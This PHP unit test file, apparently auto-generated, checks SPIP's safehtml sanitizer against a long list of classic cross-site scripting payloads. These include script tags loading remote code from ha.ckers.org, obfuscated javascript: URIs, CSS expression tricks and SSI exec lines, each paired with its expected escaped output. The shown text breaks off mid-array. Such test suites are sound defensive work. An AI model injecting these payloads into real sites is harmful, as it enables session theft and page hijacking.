www/plugins-dist/safehtml/tests/safehtml.php

   1 <?php
   2 /**
   3  * Test unitaire de la fonction safehtml
   4  * du fichier ./inc/texte_mini.php
   5  *
   6  * genere automatiquement par TestBuilder
   7  * le 2021-05-07 17:43
   8  */
   9
  10         $test = 'safehtml';
  11         $remonte = "../";
  12         while (!is_dir($remonte."ecrire"))
  13                 $remonte = "../$remonte";
  14         require $remonte.'tests/test.inc';
  15         find_in_path("./inc/texte_mini.php",'',true);
  16
  17         // chercher la fonction si elle n'existe pas
  18         if (!function_exists($f='safehtml')){
  19                 find_in_path("inc/filtres.php",'',true);
  20                 $f = chercher_filtre($f);
  21         }
  22
  23         //
  24         // hop ! on y va
  25         //
  26         $err = tester_fun($f, essais_safehtml());
  27
  28         // si le tableau $err est pas vide ca va pas
  29         if ($err) {
  30                 die ('<dl>' . join('', $err) . '</dl>');
  31         }
  32
  33         echo "OK";
  34
  35
  36         function essais_safehtml(){
  37                 $essais = array (
  38   0 =>
  39   array (
  40     0 => '',
  41     1 => '',
  42   ),
  43   1 =>
  44   array (
  45     0 => '0',
  46     1 => '0',
  47   ),
  48   2 =>
  49   array (
  50     0 => 'Un texte avec des <a href="http://spip.net">liens</a> [Article 1->art1] [spip->https://www.spip.net] https://www.spip.net',
  51     1 => 'Un texte avec des <a href="http://spip.net">liens</a> [Article 1->art1] [spip->https://www.spip.net] https://www.spip.net',
  52   ),
  53   3 =>
  54   array (
  55     0 => 'Un texte avec des entit&eacute;s &amp;&lt;&gt;&quot;',
  56     1 => 'Un texte avec des entit&eacute;s &amp;&lt;&gt;&quot;',
  57   ),
  58   4 =>
  59   array (
  60     0 => 'Un texte avec des entit&amp;eacute;s echap&amp;eacute; &amp;amp;&amp;lt;&amp;gt;&amp;quot;',
  61     1 => 'Un texte avec des entit&amp;eacute;s echap&amp;eacute; &amp;amp;&amp;lt;&amp;gt;&amp;quot;',
  62   ),
  63   5 =>
  64   array (
  65     0 => 'Un texte avec des entit&#233;s num&#233;riques &#38;&#60;&#62;&quot;',
  66     1 => 'Un texte avec des entit&#233;s num&#233;riques &#38;&#60;&#62;&quot;',
  67   ),
  68   6 =>
  69   array (
  70     0 => 'Un texte avec des entit&amp;#233;s num&amp;#233;riques echap&amp;#233;es &amp;#38;&amp;#60;&amp;#62;&amp;quot;',
  71     1 => 'Un texte avec des entit&amp;#233;s num&amp;#233;riques echap&amp;#233;es &amp;#38;&amp;#60;&amp;#62;&amp;quot;',
  72   ),
  73   7 =>
  74   array (
  75     0 => 'Un texte sans entites &&lt;>"\'',
  76     1 => 'Un texte sans entites &<>"\'',
  77   ),
  78   8 =>
  79   array (
  80     0 => '{{{Des raccourcis}}} {italique} {{gras}} <code>du code</code>',
  81     1 => '{{{Des raccourcis}}} {italique} {{gras}} <code>du code</code>',
  82   ),
  83   9 =>
  84   array (
  85     0 => 'Un modele https://www.spip.net]>',
  86     1 => 'Un modele <modeleinexistant|lien=[->https://www.spip.net]>',
  87   ),
  88   10 =>
  89   array (
  90     0 => 'Un texte avec des retour
  91 a la ligne et meme des
  92
  93 paragraphes',
  94     1 => 'Un texte avec des retour
  95 a la ligne et meme des
  96
  97 paragraphes',
  98   ),
  99   11 =>
 100   array (
 101     0 => '\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//-->">\'><code class="echappe-js">&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</code>=&{}',
 102     1 => '\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}',
 103   ),
 104   12 =>
 105   array (
 106     0 => '\'\';!--"<xss>=&{()}</xss>',
 107     1 => '\'\';!--"<XSS>=&{()}',
 108   ),
 109   13 =>
 110   array (
 111     0 => '<code class="echappe-js">&lt;SCRIPT&gt;alert(\'XSS\')&lt;/SCRIPT&gt;</code>',
 112     1 => '<SCRIPT>alert(\'XSS\')</SCRIPT>',
 113   ),
 114   14 =>
 115   array (
 116     0 => '<code class="echappe-js">&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</code>',
 117     1 => '<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>',
 118   ),
 119   15 =>
 120   array (
 121     0 => '<code class="echappe-js">&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</code>',
 122     1 => '<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>',
 123   ),
 124   16 =>
 125   array (
 126     0 => '&lt;base HREF="javascript:alert(\'XSS\');//">',
 127     1 => '<BASE HREF="javascript:alert(\'XSS\');//">',
 128   ),
 129   17 =>
 130   array (
 131     0 => '<code class="echappe-js">&lt;BGSOUND SRC=&quot;javascript:alert(\'XSS\');&quot;&gt;</code>',
 132     1 => '<BGSOUND SRC="javascript:alert(\'XSS\');">',
 133   ),
 134   18 =>
 135   array (
 136     0 => '<code class="echappe-js">&lt;BODY BACKGROUND=&quot;javascript:alert(\'XSS\');&quot;&gt;</code>',
 137     1 => '<BODY BACKGROUND="javascript:alert(\'XSS\');">',
 138   ),
 139   19 =>
 140   array (
 141     0 => '<code class="echappe-js">&lt;BODY ONLOAD=alert(\'XSS\')&gt;</code>',
 142     1 => '<BODY ONLOAD=alert(\'XSS\')>',
 143   ),
 144   20 =>
 145   array (
 146     0 => '<div></div>',
 147     1 => '<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">',
 148   ),
 149   21 =>
 150   array (
 151     0 => '<div></div>',
 152     1 => '<DIV STYLE="background-image: url(&#1;javascript:alert(\'XSS\'))">',
 153   ),
 154   22 =>
 155   array (
 156     0 => '<div></div>',
 157     1 => '<DIV STYLE="width: expression(alert(\'XSS\'));">',
 158   ),
 159   23 =>
 160   array (
 161     0 => '',
 162     1 => '<FRAMESET><FRAME SRC="javascript:alert(\'XSS\');"></FRAMESET>',
 163   ),
 164   24 =>
 165   array (
 166     0 => '<code class="echappe-js">&lt;IFRAME SRC=&quot;javascript:alert(\'XSS\');&quot;&gt;&lt;/IFRAME&gt;</code>',
 167     1 => '<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>',
 168   ),
 169   25 =>
 170   array (
 171     0 => '<input type="IMAGE" />',
 172     1 => '<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">',
 173   ),
 174   26 =>
 175   array (
 176     0 => '<code class="echappe-js">&lt;IMG SRC=&quot;javascript:alert(\'XSS\');&quot;&gt;</code>',
 177     1 => '<IMG SRC="javascript:alert(\'XSS\');">',
 178   ),
 179   27 =>
 180   array (
 181     0 => '<code class="echappe-js">&lt;IMG SRC=javascript:alert(\'XSS\')&gt;</code>',
 182     1 => '<IMG SRC=javascript:alert(\'XSS\')>',
 183   ),
 184   28 =>
 185   array (
 186     0 => '<code class="echappe-js">&lt;IMG DYNSRC=&quot;javascript:alert(\'XSS\');&quot;&gt;</code>',
 187     1 => '<IMG DYNSRC="javascript:alert(\'XSS\');">',
 188   ),
 189   29 =>
 190   array (
 191     0 => '<code class="echappe-js">&lt;IMG LOWSRC=&quot;javascript:alert(\'XSS\');&quot;&gt;</code>',
 192     1 => '<IMG LOWSRC="javascript:alert(\'XSS\');">',
 193   ),
 194   30 =>
 195   array (
 196     0 => '<img src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode" />',
 197     1 => '<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">',
 198   ),
 199   31 =>
 200   array (
 201     0 => 'exp/*<xss style="noxss:noxss(&quot;*/pression(alert(&quot;XSS&quot;))"></xss>',
 202     1 => 'exp/*<XSS STYLE=\'no\\xss:noxss("*//*");
 203 xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))\'>',
 204   ),
 205   32 =>
 206   array (
 207     0 => '<ul><li>XSS</li></ul>',
 208     1 => '<STYLE>li {list-style-image: url("javascript:alert(\'XSS\')");}</STYLE><UL><LI>XSS',
 209   ),
 210   33 =>
 211   array (
 212     0 => '<code class="echappe-js">&lt;IMG SRC=\'vbscript:msgbox(&quot;XSS&quot;)\'&gt;</code>',
 213     1 => '<IMG SRC=\'vbscript:msgbox("XSS")\'>',
 214   ),
 215   34 =>
 216   array (
 217     0 => '',
 218     1 => '<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>',
 219   ),
 220   35 =>
 221   array (
 222     0 => '<code class="echappe-js">&lt;IMG SRC=&quot;livescript:[code]&quot;&gt;</code>',
 223     1 => '<IMG SRC="livescript:[code]">',
 224   ),
 225   36 =>
 226   array (
 227     0 => '¼script¾alert(¢XSS¢)¼/script¾',
 228     1 => '¼script¾alert(¢XSS¢)¼/script¾',
 229   ),
 230   37 =>
 231   array (
 232     0 => '<code class="echappe-js">&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(\'XSS\');&quot;&gt;</code>',
 233     1 => '<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">',
 234   ),
 235   38 =>
 236   array (
 237     0 => '<code class="echappe-js">&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;</code>',
 238     1 => '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">',
 239   ),
 240   39 =>
 241   array (
 242     0 => '<code class="echappe-js">&lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(\'XSS\');&quot;&gt;</code>',
 243     1 => '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">',
 244   ),
 245   40 =>
 246   array (
 247     0 => '<img />',
 248     1 => '<IMG SRC="mocha:[code]">',
 249   ),
 250   41 =>
 251   array (
 252     0 => '',
 253     1 => '<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>',
 254   ),
 255   42 =>
 256   array (
 257     0 => '<code class="echappe-js">&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(\'XSS\')&gt;&lt;/OBJECT&gt;</code>',
 258     1 => '<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(\'XSS\')></OBJECT>',
 259   ),
 260   43 =>
 261   array (
 262     0 => '',
 263     1 => '<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>',
 264   ),
 265   44 =>
 266   array (
 267     0 => '',
 268     1 => '<STYLE TYPE="text/javascript">alert(\'XSS\');</STYLE>',
 269   ),
 270   45 =>
 271   array (
 272     0 => '<img />',
 273     1 => '<IMG STYLE="xss:expr/*XSS*/ession(alert(\'XSS\'))">',
 274   ),
 275   46 =>
 276   array (
 277     0 => '<xss></xss>',
 278     1 => '<XSS STYLE="xss:expression(alert(\'XSS\'))">',
 279   ),
 280   47 =>
 281   array (
 282     0 => '<a class="XSS"></a>',
 283     1 => '<STYLE>.XSS{background-image:url("javascript:alert(\'XSS\')");}</STYLE><A CLASS=XSS></A>',
 284   ),
 285   48 =>
 286   array (
 287     0 => '',
 288     1 => '<STYLE type="text/css">BODY{background:url("javascript:alert(\'XSS\')")}</STYLE>',
 289   ),
 290   49 =>
 291   array (
 292     0 => '',
 293     1 => '<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">',
 294   ),
 295   50 =>
 296   array (
 297     0 => '',
 298     1 => '<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">',
 299   ),
 300   51 =>
 301   array (
 302     0 => '',
 303     1 => '<STYLE>@import\'http://ha.ckers.org/xss.css\';</STYLE>',
 304   ),
 305   52 =>
 306   array (
 307     0 => '',
 308     1 => '<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">',
 309   ),
 310   53 =>
 311   array (
 312     0 => '',
 313     1 => '<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>',
 314   ),
 315   54 =>
 316   array (
 317     0 => '<table></table>',
 318     1 => '<TABLE BACKGROUND="javascript:alert(\'XSS\')"></TABLE>',
 319   ),
 320   55 =>
 321   array (
 322     0 => '<table><td></td></table>',
 323     1 => '<TABLE><TD BACKGROUND="javascript:alert(\'XSS\')"></TD></TABLE>',
 324   ),
 325   56 =>
 326   array (
 327     0 => '
 328 &lt;?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
 329 XSS
 330
 331 ',
 332     1 => '<HTML xmlns:xss>
 333 <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
 334 <xss:xss>XSS</xss:xss>
 335
 336 </HTML>',
 337   ),
 338   57 =>
 339   array (
 340     0 => '<span></span>',
 341     1 => '<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(\'XSS\');">]]>
 342
 343 </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>',
 344   ),
 345   58 =>
 346   array (
 347     0 => '
 348
 349 <span></span>',
 350     1 => '<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(\'XSS\')"></B></I></XML>
 351
 352 <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>',
 353   ),
 354   59 =>
 355   array (
 356     0 => '
 357 <span></span>',
 358     1 => '<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
 359 <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>',
 360   ),
 361   60 =>
 362   array (
 363     0 => '
 364 &lt;?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
 365
 366 &lt;?import namespace="t" implementation="#default#time2">
 367 &lt;SCRIPT DEFER&gt;alert(\'XSS\')&lt;/SCRIPT&gt;"> ',
 368     1 => '<HTML><BODY>
 369 <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
 370
 371 <?import namespace="t" implementation="#default#time2">
 372 <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert(\'XSS\')</SCRIPT>"> </BODY></HTML>',
 373   ),
 374   61 =>
 375   array (
 376     0 => '',
 377     1 => '<!--[if gte IE 4]>
 378 <SCRIPT>alert(\'XSS\');</SCRIPT>
 379 <![endif]-->',
 380   ),
 381   62 =>
 382   array (
 383     0 => '&lt;SCRIPT&gt;alert(\'XSS\')&lt;/SCRIPT&gt;">',
 384     1 => '<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(\'XSS\')</SCRIPT>">',
 385   ),
 386   63 =>
 387   array (
 388     0 => '<xss></xss>',
 389     1 => '<XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">',
 390   ),
 391   64 =>
 392   array (
 393     0 => '<code class="echappe-js">&lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;</code>',
 394     1 => '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>',
 395   ),
 396   65 =>
 397   array (
 398     0 => '',
 399     1 => '<!--#exec cmd="/bin/echo \'<SCRIPT SRC\'"--><!--#exec cmd="/bin/echo \'=http://ha.ckers.org/xss.js></SCRIPT>\'"-->',
 400   ),
 401   66 =>
 402   array (
 403     0 => '&lt;? echo(\'alert("XSS")\'); ?>',
 404     1 => '<? echo(\'<SCR)\';
 405 echo(\'IPT>alert("XSS")</SCRIPT>\'); ?>',
 406   ),
 407   67 =>
 408   array (
 409     0 => '<br size="&{alert(\'XSS\')}" />',
 410     1 => '<BR SIZE="&{alert(\'XSS\')}">',
 411   ),
 412   68 =>
 413   array (
 414     0 => '&lt;
 415 %3C
 416 &lt
 417 &lt;
 418 &LT
 419 &LT;
 420 &#60
 421 &#060
 422 &#0060
 423
 424 &#00060
 425 &#000060
 426 &#0000060
 427 &#60;
 428 &#060;
 429 &#0060;
 430 &#00060;
 431 &#000060;
 432 &#0000060;
 433 &#x3c
 434 &#x03c
 435 &#x003c
 436 &#x0003c
 437 &#x00003c
 438 &#x000003c
 439 &#x3c;
 440 &#x03c;
 441
 442 &#x003c;
 443 &#x0003c;
 444 &#x00003c;
 445 &#x000003c;
 446 &#X3c
 447 &#X03c
 448 &#X003c
 449 &#X0003c
 450 &#X00003c
 451 &#X000003c
 452 &#X3c;
 453 &#X03c;
 454 &#X003c;
 455 &#X0003c;
 456 &#X00003c;
 457 &#X000003c;
 458 &#x3C
 459
 460 &#x03C
 461 &#x003C
 462 &#x0003C
 463 &#x00003C
 464 &#x000003C
 465 &#x3C;
 466 &#x03C;
 467 &#x003C;
 468 &#x0003C;
 469 &#x00003C;
 470 &#x000003C;
 471 &#X3C
 472 &#X03C
 473 &#X003C
 474 &#X0003C
 475 &#X00003C
 476 &#X000003C
 477
 478 &#X3C;
 479 &#X03C;
 480 &#X003C;
 481 &#X0003C;
 482 &#X00003C;
 483 &#X000003C;
 484 \\x3c
 485 \\x3C
 486 \\u003c
 487 \\u003C',
 488     1 => '<
 489 %3C
 490 &lt
 491 &lt;
 492 &LT
 493 &LT;
 494 &#60
 495 &#060
 496 &#0060
 497
 498 &#00060
 499 &#000060
 500 &#0000060
 501 &#60;
 502 &#060;
 503 &#0060;
 504 &#00060;
 505 &#000060;
 506 &#0000060;
 507 &#x3c
 508 &#x03c
 509 &#x003c
 510 &#x0003c
 511 &#x00003c
 512 &#x000003c
 513 &#x3c;
 514 &#x03c;
 515
 516 &#x003c;
 517 &#x0003c;
 518 &#x00003c;
 519 &#x000003c;
 520 &#X3c
 521 &#X03c
 522 &#X003c
 523 &#X0003c
 524 &#X00003c
 525 &#X000003c
 526 &#X3c;
 527 &#X03c;
 528 &#X003c;
 529 &#X0003c;
 530 &#X00003c;
 531 &#X000003c;
 532 &#x3C
 533
 534 &#x03C
 535 &#x003C
 536 &#x0003C
 537 &#x00003C
 538 &#x000003C
 539 &#x3C;
 540 &#x03C;
 541 &#x003C;
 542 &#x0003C;
 543 &#x00003C;
 544 &#x000003C;
 545 &#X3C
 546 &#X03C
 547 &#X003C
 548 &#X0003C
 549 &#X00003C
 550 &#X000003C
 551
 552 &#X3C;
 553 &#X03C;
 554 &#X003C;
 555 &#X0003C;
 556 &#X00003C;
 557 &#X000003C;
 558 \\x3c
 559 \\x3C
 560 \\u003c
 561 \\u003C',
 562   ),
 563   69 =>
 564   array (
 565     0 => '<code class="echappe-js">&lt;IMG SRC=JaVaScRiPt:alert(\'XSS\')&gt;</code>',
 566     1 => '<IMG SRC=JaVaScRiPt:alert(\'XSS\')>',
 567   ),
 568   70 =>
 569   array (
 570     0 => '<code class="echappe-js">&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;</code>',
 571     1 => '<IMG SRC=javascript:alert(&quot;XSS&quot;)>',
 572   ),
 573   71 =>
 574   array (
 575     0 => '<code class="echappe-js">&lt;IMG SRC=`javascript:alert(&quot;RSnake says, \'XSS\'&quot;)`&gt;</code>',
 576     1 => '<IMG SRC=`javascript:alert("RSnake says, \'XSS\'")`>',
 577   ),
 578   72 =>
 579   array (
 580     0 => '<code class="echappe-js">&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</code>',
 581     1 => '<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>',
 582   ),
 583   73 =>
 584   array (
 585     0 => '<img />',
 586     1 => '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>',
 587   ),
 588   74 =>
 589   array (
 590     0 => '<img />',
 591     1 => '<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>',
 592   ),
 593   75 =>
 594   array (
 595     0 => '<div style="background-image:00750072006C0028\'006a006100760061007300630072006900700074003a0061006c0065007200740028.10270058.1053005300270029\'0029"></div>',
 596     1 => '<DIV STYLE="background-image:\\0075\\0072\\006C\\0028\'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029\'\\0029">',
 597   ),
 598   76 =>
 599   array (
 600     0 => '<img />',
 601     1 => '<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>',
 602   ),
 603   77 =>
 604   array (
 605     0 => ' ',
 606     1 => '<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-',
 607   ),
 608   78 =>
 609   array (
 610     0 => '\\";alert(\'XSS\');//',
 611     1 => '\\";alert(\'XSS\');//',
 612   ),
 613   79 =>
 614   array (
 615     0 => '<code class="echappe-js">&lt;SCRIPT&gt;alert(&quot;XSS&quot;);&lt;/SCRIPT&gt;</code>',
 616     1 => '</TITLE><SCRIPT>alert("XSS");</SCRIPT>',
 617   ),
 618   80 =>
 619   array (
 620     0 => '',
 621     1 => '<STYLE>@im\\port\'\\ja\\vasc\\ript:alert("XSS")\';</STYLE>',
 622   ),
 623   81 =>
 624   array (
 625     0 => '<code class="echappe-js">&lt;IMG SRC=&quot;jav        ascript:alert(\'XSS\');&quot;&gt;</code>',
 626     1 => '<IMG SRC="jav ascript:alert(\'XSS\');">',
 627   ),
 628   82 =>
 629   array (
 630     0 => '<code class="echappe-js">&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(\'XSS\');&quot;&gt;</code>',
 631     1 => '<IMG SRC="jav&#x09;ascript:alert(\'XSS\');">',
 632   ),
 633   83 =>
 634   array (
 635     0 => '<code class="echappe-js">&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(\'XSS\');&quot;&gt;</code>',
 636     1 => '<IMG SRC="jav&#x0A;ascript:alert(\'XSS\');">',
 637   ),
 638   84 =>
 639   array (
 640     0 => '<code class="echappe-js">&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(\'XSS\');&quot;&gt;</code>',
 641     1 => '<IMG SRC="jav&#x0D;ascript:alert(\'XSS\');">',
 642   ),
 643   85 =>
 644   array (
 645     0 => '<img />
',
 646     1 => '<IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
\'
X
S
S
\'
)
"
>
',
 647   ),
 648   86 =>
 649   array (
 650     0 => '<code class="echappe-js">&lt;IMG SRC=java' . "\0" . 'script:alert(&quot;XSS&quot;)&gt;</code>',
 651     1 => '<IMG SRC=java' . "\0" . 'script:alert("XSS")>',
 652   ),
 653   87 =>
 654   array (
 655     0 => '&alert("XSS")',
 656     1 => '&<SCR' . "\0" . 'IPT>alert("XSS")</SCR' . "\0" . 'IPT>',
 657   ),
 658   88 =>
 659   array (
 660     0 => '<code class="echappe-js">&lt;IMG SRC=&quot; &amp;#14;  javascript:alert(\'XSS\');&quot;&gt;</code>',
 661     1 => '<IMG SRC=" &#14;  javascript:alert(\'XSS\');">',
 662   ),
 663   89 =>
 664   array (
 665     0 => '<code class="echappe-js">&lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>',
 666     1 => '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
 667   ),
 668   90 =>
 669   array (
 670     0 => '|\\]^`=alert("XSS")>',
 671     1 => '<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert("XSS")>',
 672   ),
 673   91 =>
 674   array (
 675     0 => '<code class="echappe-js">&lt;SCRIPT SRC=http://ha.ckers.org/xss.js</code>',
 676     1 => '<SCRIPT SRC=http://ha.ckers.org/xss.js',
 677   ),
 678   92 =>
 679   array (
 680     0 => '<code class="echappe-js">&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;</code>',
 681     1 => '<SCRIPT SRC=//ha.ckers.org/.j>',
 682   ),
 683   93 =>
 684   array (
 685     0 => '<code class="echappe-js">&lt;IMG SRC=&quot;javascript:alert(\'XSS\')&quot;</code>',
 686     1 => '<IMG SRC="javascript:alert(\'XSS\')"',
 687   ),
 688   94 =>
 689   array (
 690     0 => '',
 691     1 => '<IFRAME SRC=http://ha.ckers.org/scriptlet.html <',
 692   ),
 693   95 =>
 694   array (
 695     0 => '&lt;<code class="echappe-js">&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;</code>',
 696     1 => '<<SCRIPT>alert("XSS");//<</SCRIPT>',
 697   ),
 698   96 =>
 699   array (
 700     0 => '<img /><code class="echappe-js">&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;</code>">',
 701     1 => '<IMG """><SCRIPT>alert("XSS")</SCRIPT>">',
 702   ),
 703   97 =>
 704   array (
 705     0 => '<code class="echappe-js">&lt;SCRIPT&gt;a=/XSS/<br />
 706 alert(a.source)&lt;/SCRIPT&gt;</code>',
 707     1 => '<SCRIPT>a=/XSS/
 708 alert(a.source)</SCRIPT>',
 709   ),
 710   98 =>
 711   array (
 712     0 => '<code class="echappe-js">&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>',
 713     1 => '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
 714   ),
 715   99 =>
 716   array (
 717     0 => '<code class="echappe-js">&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>',
 718     1 => '<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
 719   ),
 720   100 =>
 721   array (
 722     0 => '<code class="echappe-js">&lt;SCRIPT a=&quot;blah&quot; \'\' SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>',
 723     1 => '<SCRIPT a="blah" \'\' SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
 724   ),
 725   101 =>
 726   array (
 727     0 => '<code class="echappe-js">&lt;SCRIPT &quot;a=\'&gt;\'&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>',
 728     1 => '<SCRIPT "a=\'>\'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
 729   ),
 730   102 =>
 731   array (
 732     0 => '<code class="echappe-js">&lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>',
 733     1 => '<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
 734   ),
 735   103 =>
 736   array (
 737     0 => '<code class="echappe-js">&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;</code>PT SRC="http://ha.ckers.org/xss.js">',
 738     1 => '<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
 739   ),
 740   104 =>
 741   array (
 742     0 => '<code class="echappe-js">&lt;SCRIPT a=&quot;&gt;\'&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code>',
 743     1 => '<SCRIPT a=">\'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
 744   ),
 745   105 =>
 746   array (
 747     0 => '<a href="http://66.102.7.147/">XSS</a>',
 748     1 => '<A HREF="http://66.102.7.147/">XSS</A>',
 749   ),
 750   106 =>
 751   array (
 752     0 => '<a href="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</a>',
 753     1 => '<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>',
 754   ),
 755   107 =>
 756   array (
 757     0 => '<a href="http://1113982867/">XSS</a>',
 758     1 => '<A HREF="http://1113982867/">XSS</A>',
 759   ),
 760   108 =>
 761   array (
 762     0 => '<a href="http://0x42.0x0000066.0x7.0x93/">XSS</a>',
 763     1 => '<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>',
 764   ),
 765   109 =>
 766   array (
 767     0 => '<a href="http://0102.0146.0007.00000223/">XSS</a>',
 768     1 => '<A HREF="http://0102.0146.0007.00000223/">XSS</A>',
 769   ),
 770   110 =>
 771   array (
 772     0 => '<a>XSS</a>',
 773     1 => '<A HREF="h
 774 tt      p://6&#09;6.000146.0x7.147/">XSS</A>',
 775   ),
 776   111 =>
 777   array (
 778     0 => '<a href="//www.google.com/">XSS</a>',
 779     1 => '<A HREF="//www.google.com/">XSS</A>',
 780   ),
 781   112 =>
 782   array (
 783     0 => '<a href="//google">XSS</a>',
 784     1 => '<A HREF="//google">XSS</A>',
 785   ),
 786   113 =>
 787   array (
 788     0 => '<a href="http://ha.ckers.org@google">XSS</a>',
 789     1 => '<A HREF="http://ha.ckers.org@google">XSS</A>',
 790   ),
 791   114 =>
 792   array (
